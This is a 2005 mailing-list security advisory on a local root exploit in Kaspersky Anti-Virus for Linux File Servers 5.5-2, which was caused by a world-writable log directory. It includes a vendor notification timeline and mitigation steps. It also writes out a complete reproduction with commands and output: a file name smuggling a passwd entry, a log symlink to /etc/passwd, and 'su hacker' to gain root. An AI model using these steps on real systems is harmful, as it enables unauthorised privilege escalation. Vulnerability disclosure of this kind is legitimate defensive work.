Message-ID: <934A0847109E4A946E2FFC48@[192.168.1.71]>
Date: Fri Aug 12 18:56:41 2005
From: pbieringer at aerasec.de (Dr. Peter Bieringer)
Subject: Insecure directory permissions of default
 installation of Kaspersky
 Anti-Virus for Unix/Linux File Servers will lead to local root exploit

FYI,

a new version is already available and a proposed workaround is described 
at the end of the advisory.

	Peter


URLs for this document:

ftp://ftp.aerasec.de/pub/advisories/kav4unix/kav4unix-local-root-exploit.txt 
(TXT)


(P) & (C) 2005 AERAsec Network Services and Security GmbH
 The information in this advisory may be freely distributed or reproduced,
  provided that the advisory is not modified in any way.

Author: Dr. Peter Bieringer

Contact: info at aerasec dot de

Version: 2005-08-12

Title: Insecure directory permissions of default installation of Kaspersky
 Anti-Virus for Unix/Linux File Servers will lead to local root exploit

Description:
Because of insecure permissions (777) of the kav log directory, any
 unprivileged local user is able to remove the log file and replace it with
 a symlink. Because of file names beeing logged, a symlink pointing to
 /etc/passwd can be used to create additional users with root permissions
 and empty password.


Additional URLs:

<TO BE FILLED LATER>


Change Log:
2005-06-14: initial version (internal)
2005-07-29: update because of availability of new version (internal)


Vendor notification/information:
2005-04-19: to support@...persky.com about insecure permissions in general 
in
             version 5.0-5 -> no reaction
2005-04-29: to German techsupport about insecure permissions in general in
             version 5.0-5 -> got insuffient answer at 2005-05-11
2005-06-14: to support@...persky.com about a possible local-root exploit in
             version 5.5-2 -> got response on 2005-06-15
2005-07-26: got new version 5.5-3 from vendor for testing
2005-08-12: minor review before publishing


Tested version:
===============
kav4fileservers-linux-5.5-2.i386.rpm

URL:
ftp://ftp.kaspersky.com/products/release/english/businessoptimal/file_servers/kavlinuxserver/

Probably also affected versions:
 kav4fileservers-linux-5.0-5.i386.rpm
 kav4mailservers-linux-*


How to reproduce:
=================

1) Install software:
--------------------

# rpm -ihv kav4fileservers-linux-5.5-2.i386.rpm
Preparing...                ########################################### 
[100%]
   1:kav4fileservers-linux  ########################################### 
[100%]
Kaspersky Anti-Virus for Unix has been installed successfully
but needs to be properly configured before using.
Unfortunately, RPM is not able to run scripts interactively, so
please run /opt/kav/5.5/kav4unix/setup/postinstall.pl
script by yourself to configure it.


2) Configure software:
----------------------

# /opt/kav/5.5/kav4unix/setup/postinstall.pl
Installing license files.
License file (a file with .key extension) is your personal
license key. You need to install it to use the application.
To install it right now, just enter the path to the location of
your license file (enter an empty string to continue without key
file installation):
.
License file ./********.key has been installed

Configuring KeepUp2Date proxy settings.
If you use an http proxy server to access the Internet, you need
to tell the Kaspersky Anti-Virus for Unix KeepUp2Date component
about it. Please enter the address of your http proxy server in
one of the following forms, http://proxyIP:port or
http://user:pass@...xyIP:port. If you don't have or need a proxy
server to access the Internet, enter 'no' here:

Latest anti-virus bases are an essential part of your anti-virus
protection. Do you want to download the latest anti-virus bases
right now to insure your application is up to date? (If you
answer 'yes', make sure you are connected to the Internet):
[yes]:


Running keepup2date to update your anti-virus database.
Kaspersky KeepUp2Date 5.5.2/RELEASE build #98
Copyright (C) Kaspersky Lab, 1997-2005.
Portions Copyright (C) Lan Crypto
Configuration file: /etc/kav/5.5/kav4unix/kav4unix.conf
Getting product configuration
Getting updater configuration
Checking product license keys
Initializing
Trying to update from 'http://ru2h.kaspersky-labs.com'
Copying update description file
Downloading remote file master.xml
Checking update description file integrity
Parsing update description file
Downloading remote file kavset.xml
Copying files
Downloading remote file kavset.xml
Downloading remote file avcmhk4.dll
...
Checking license keys
Downloading remote file ca.avc
...
Checking new bases
Standard AV bases are OK, latest update: 14-06-2005, total records: 126143.
Extended AV bases are OK, latest update: 14-06-2005, total records: 133575.
Redundant AV bases are OK, latest update: 14-06-2005, total records: 134617.
Clearing reserve dir
Replacing files
Saving updater settings
Saving updater settings
Default Webmin configuration file was not found. This means that
either Webmin is not installed at all, or is installed into a
non-default location.

Webmin (www.webmin.com) is a web-based interface for system
administration for various Unix components. If you install it,
you'll be able to configure and use Kaspersky Anti-Virus through
the web interface. If you want to use this functionality, but
haven't installed Webmin yet, you can skip this stage and
install this module later using Webmin's built-in installation
procedure.
If you have Webmin installed in a non-default path, please enter
the path to the location of the Webmin configuration file, or
leave blank to skip?

If you want to use this module later, you can install it using
Webmin's own installation procedure. The module will be placed
in /opt/kav/5.5/kav4unix/contrib/kavfs.wbm.
Would you like to compile the kavmonitor module [Y]:
Enter the linux kernel source path [/lib/modules/2.6.9-5.EL/build]:

checking for gcc... gcc
checking for C compiler default output... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for suffix of executables...
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for gcc option to accept ANSI C... none needed
checking build system type... i686-pc-linux-gnu
checking host system type... i686-pc-linux-gnu
checking target system type... i686-pc-linux-gnu
LSB_VERSION="1.3"
checking for linux kernel sources... /lib/modules/2.6.9-5.EL/build
checking for linux kernel version... 2.6
checking for vmlinux... "not found"
checking for sys_close is exported... "yes"
checking for do_execve is exported... no, do_execve address=0xc016f3b2
configure: creating ./config.status
config.status: creating Makefile
config.status: creating kavmon.h
config.status: creating osdef.h
config.status: creating module.linux/Makefile
Cleaning module.linux
make[1]: Entering directory `/opt/kav/5.5/kav4unix/src/module.linux'
rm -f **.o *.ko ../bin//kavmon.ko monitor_helpers.c kernel.c queue.c 
md5.c
cache.c util.c  cache.h  kavmon.h  kernel.h  md5.h  monitor.h
monitor_helpers.h  osdef.h  queue.h  util.h *.mod.c Makefile.in
make[1]: Leaving directory `/opt/kav/5.5/kav4unix/src/module.linux'
Making link in module.linux
make[1]: Entering directory `/opt/kav/5.5/kav4unix/src/module.linux'
make -C /lib/modules/2.6.9-5.EL/build
SUBDIRS=/opt/kav/5.5/kav4unix/src/module.linux modules
make[2]: Entering directory `/usr/src/kernels/2.6.9-5.EL-i686'
  CC [M]  /opt/kav/5.5/kav4unix/src/module.linux/utils.o
  CC [M]  /opt/kav/5.5/kav4unix/src/module.linux/module.o
  CC [M]  /opt/kav/5.5/kav4unix/src/module.linux/interface.o
  CC [M]  /opt/kav/5.5/kav4unix/src/module.linux/interface_monitor.o
  CC [M]  /opt/kav/5.5/kav4unix/src/module.linux/interface_exploit.o
  CC [M]  /opt/kav/5.5/kav4unix/src/module.linux/interceptor.o
  CC [M]  /opt/kav/5.5/kav4unix/src/module.linux/files.o
  CC [M]  /opt/kav/5.5/kav4unix/src/module.linux/monitor_helpers.o
  CC [M]  /opt/kav/5.5/kav4unix/src/module.linux/kernel.o
  CC [M]  /opt/kav/5.5/kav4unix/src/module.linux/queue.o
/opt/kav/5.5/kav4unix/src/module.linux/queue.c: In function
`queue_read_interface':
/opt/kav/5.5/kav4unix/src/module.linux/queue.c:450: warning:
`interruptible_sleep_on' is deprecated (declared at 
include/linux/wait.h:290)
  CC [M]  /opt/kav/5.5/kav4unix/src/module.linux/md5.o
  CC [M]  /opt/kav/5.5/kav4unix/src/module.linux/cache.o
  CC [M]  /opt/kav/5.5/kav4unix/src/module.linux/util.o
  LD [M]  /opt/kav/5.5/kav4unix/src/module.linux/kavmon.o
  Building modules, stage 2.
  MODPOST
  CC      /opt/kav/5.5/kav4unix/src/module.linux/kavmon.mod.o
  LD [M]  /opt/kav/5.5/kav4unix/src/module.linux/kavmon.ko
make[2]: Leaving directory `/usr/src/kernels/2.6.9-5.EL-i686'
make[1]: Leaving directory `/opt/kav/5.5/kav4unix/src/module.linux'

Kaspersky Anti-Virus for Unix is installed.
Configuration file was installed in
/etc/kav/5.5/kav4unix/kav4unix.conf
Binaries were installed in /opt/kav/5.5/kav4unix/bin


3) Start kavmonitor
-------------------

# /etc/rc.d/init.d/kavmonitor start
kavmonitor started


4) Check permissions of log directory
-------------------------------------

# stat /var/log/kav/5.5/kav4unix
  File: `/var/log/kav/5.5/kav4unix'
  Size: 4096            Blocks: 16         IO Block: 4096   directory
Device: 301h/769d       Inode: 229107      Links: 2
Access: (0777/drwxrwxrwx)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2005-06-14 13:53:37.263023968 +0200
Modify: 2005-06-14 13:53:19.987650224 +0200
Change: 2005-06-14 13:53:19.987650224 +0200

# ll /var/log/kav/5.5/kav4unix
total 32
-rw-r--r--  1 root root  1933 Jun 14 13:53 kavmonitor.log
-rw-r--r--  1 root root 18778 Jun 14 13:51 kavupdater.log


-> Note the 0777/drwxrwxrwx of /var/log/kav/5.5/kav4unix


5) Prepare the attack
---------------------

a) Setup an unprivileged local user, e.g. named "test":


b) Switch to user "test":

$ id
uid=1001(test) gid=1001(test) groups=1001(test)


c) Check whether "kavmonitor" is logging well:

$ tail -f /var/log/kav/5.5/kav4unix/kavmonitor.log
[14/06/05 13:54:53 A] pid=7815 uid=1001 /home/test/.bash_profile        OPEN
OK
[14/06/05 13:54:53 A] pid=7815 uid=1001 /home/test/.bashrc      OPEN    OK
[14/06/05 13:55:50 A] pid=7842 uid=1001 /bin/dd EXEC    OK
[14/06/05 13:55:50 A] pid=7842 uid=1001 /home/test/urandom-10k.bin 
CLOSE
OK
[14/06/05 13:56:05 A] pid=7844 uid=1001 /usr/bin/hexdump        EXEC    OK
[14/06/05 13:56:06 A] pid=7844 uid=1001 /home/test/urandom-10k.bin      OPEN
OK
[14/06/05 13:56:12 A] pid=7846 uid=1001 /usr/bin/head   EXEC    OK
[14/06/05 13:56:24 A] pid=7847 uid=1001 /usr/bin/tail   EXEC    OK
[14/06/05 13:56:24 A] pid=7847 uid=1001 /lib/tls/libm-2.3.4.so  OPEN    OK
[14/06/05 13:56:24 A] pid=7847 uid=1001 
/var/log/kav/5.5/kav4unix/kavmonitor.log        OPEN    OK

-> Note that an unprivileged user can take a look at the log file. Nice to 
see which
files other users are accessing during the time...


d) Create a special file:

$ echo "Test" > "
hacker::0:0:hacker::
"

-> Note that the line breaks are created by typing CTRL-V CTRL-J


e) Take a look at the result:

$ ll
total 32
-rw-rw-r--  1 test test 5 Jun 14 14:58 ?hacker::0:0:hacker::?


f) Now access the file to see what kavmonitor will log:

$ cat *
Test


$ tail -f /var/log/kav/5.5/kav4unix/kavmonitor.log
...
[14/06/05 15:30:07 A] pid=27354 uid=1001 /home/test/
hacker::0:0:hacker::
        OPEN    OK

-> Note that this looks very good now ;-)



6) Start the attack
-------------------

a) Rename the log file, you can do this because of 0777 permissions of the
directory

$ mv /var/log/kav/5.5/kav4unix/kavmonitor.log 
/var/log/kav/5.5/kav4unix/kavmonitor.log.orig


b) Create a symlink pointing to /etc/passwd

$ ln -s /etc/passwd /var/log/kav/5.5/kav4unix/kavmonitor.log


c) Wait until next system reboot or manual restart of "kavmonitor"

-> Note that "kavmonitor" doesn't check whether the log file is a symlink or
not, by default it opens the file for appending data.

-> Watch the result

$ tail -f /etc/passwd
[14/06/05 15:42:30 I] There are 1 Kaspersky license keys found:
[14/06/05 15:42:30 I] License file ********.key, serial ****-*****-********,
"Kaspersky Anti-Virus Business Optimal for  Linux File Server", expires
**-**-2005 in *** days
[14/06/05 15:42:31 A] pid=1984 uid=0 /etc/mtab  OPEN    OK
[14/06/05 15:42:33 A] pid=27483 uid=1001 /usr/bin/tail  EXEC    OK
[14/06/05 15:42:33 A] pid=27483 uid=1001 /etc/ld.so.cache       OPEN    OK
[14/06/05 15:42:33 A] pid=27483 uid=1001 /lib/tls/libm-2.3.4.so OPEN    OK
[14/06/05 15:42:33 A] pid=27483 uid=1001 /lib/tls/librt-2.3.4.so        OPEN
OK
[14/06/05 15:42:33 A] pid=27483 uid=1001 /lib/tls/libc-2.3.4.so OPEN    OK
[14/06/05 15:42:33 A] pid=27483 uid=1001 /lib/tls/libpthread-2.3.4.so   OPEN
OK
[14/06/05 15:42:33 A] pid=27483 uid=1001 /usr/lib/locale/locale-archive OPEN
OK
[14/06/05 15:42:33 A] pid=27483 uid=1001 /etc/passwd    OPEN    OK
[14/06/05 15:42:40 A] pid=1807 uid=0 /etc/group OPEN    OK
[14/06/05 15:42:40 A] pid=1807 uid=0 /etc/cups/certs/0  CLOSE   OK

-> Voila, one step before success


d) Now access the file to see what kavmonitor will log again:
$ cat *
Test

$ tail -f /etc/passwd
...
[14/06/05 15:45:57 A] pid=27521 uid=1001 /home/test/
hacker::0:0:hacker::
 OPEN   OK

-> Bingo, login/pam usually skip not proper looking entries, so the 
additional
log lines don't cause any confusion.


e) Switch to the new created user:

$ su hacker
sh-3.00# id
uid=0(root) gid=0(root) groups=0(root)

-> Take care, what you're doing now, because you have root permissions from
now on ;-)




How to protect against this attack:
===================================

1) Administrator related (in case update is not possible):
----------------------------------------------------------

a) Fix permissions of log directory (default: 0777)

# chmod 750 /var/log/kav/5.5/kav4unix


b) Fix permissions of licenses directory (default: 0777)

# chmod 755 /var/db/kav/5.5/kav4unix/licenses

-> Note that otherwise a malicious user can delete the key which prevent
"keepup2date" from proper working



2) Vendor related:
------------------
* Upgrade to at least version 5.5-3. It introduces system user/group
   "kluser"/"klusers" and adjusted permissions to prevent normal users
   from running the exploit.

The new installer already mentioned about this:

  <B>Warning:</B> some files/directories have insecure permissions.
  This is a big security risk. It leads to known <B>local root exploit</B> 
if
  any malicious user has access to this computer. We suggest to fix it by
  changing the permissions to 775 (or 770). Unfortunately that after the 
fix,
  you will not be able to run keepup2date from non-root user anymore.
  Answer 'Y' if you want fix the permissions now, 'N' if you want to left 
them
  intact, and '?' to see the list of directories and permissions/owners to 
be
  changed.


Note that the new installer doesn't take care that "kluser"/"klusers"
 should be created at system user/group. At least Red Hat Linux systems
 would support this by using "-r". We suggest to create them *before*
 installing the new version - this prevents mix-up of uid/gid with normal
 users:
  # groupadd -r klusers
  # useradd -r -g klusers -s /sbin/nologin -d /var/db/kav kluser

Then install the package

If non-root user (like e.g. amavis) should be able to use "kavscanner",
 proper permissions need to be set after adding the user to the group
 "klusers":
  # chgrp klusers /var/db/kav/5.5
  # chmod g+ws /var/db/kav/5.5
  # touch /var/db/kav/5.5/ichecker.db
  # chmod g+w,o-rwx /var/db/kav/5.5/ichecker.db


--
Dr. Peter Bieringer                             Phone: +49-8102-895190
AERAsec Network Services and Security GmbH        Fax: +49-8102-895199
Wagenberger Strasse 1
D-85662 Hohenbrunn                       E-Mail: pbieringer@...asec.de
Germany                                Internet: http://www.aerasec.de
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 187 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050812/ac1fa5a9/attachment.bin

Powered by blists - more mailing lists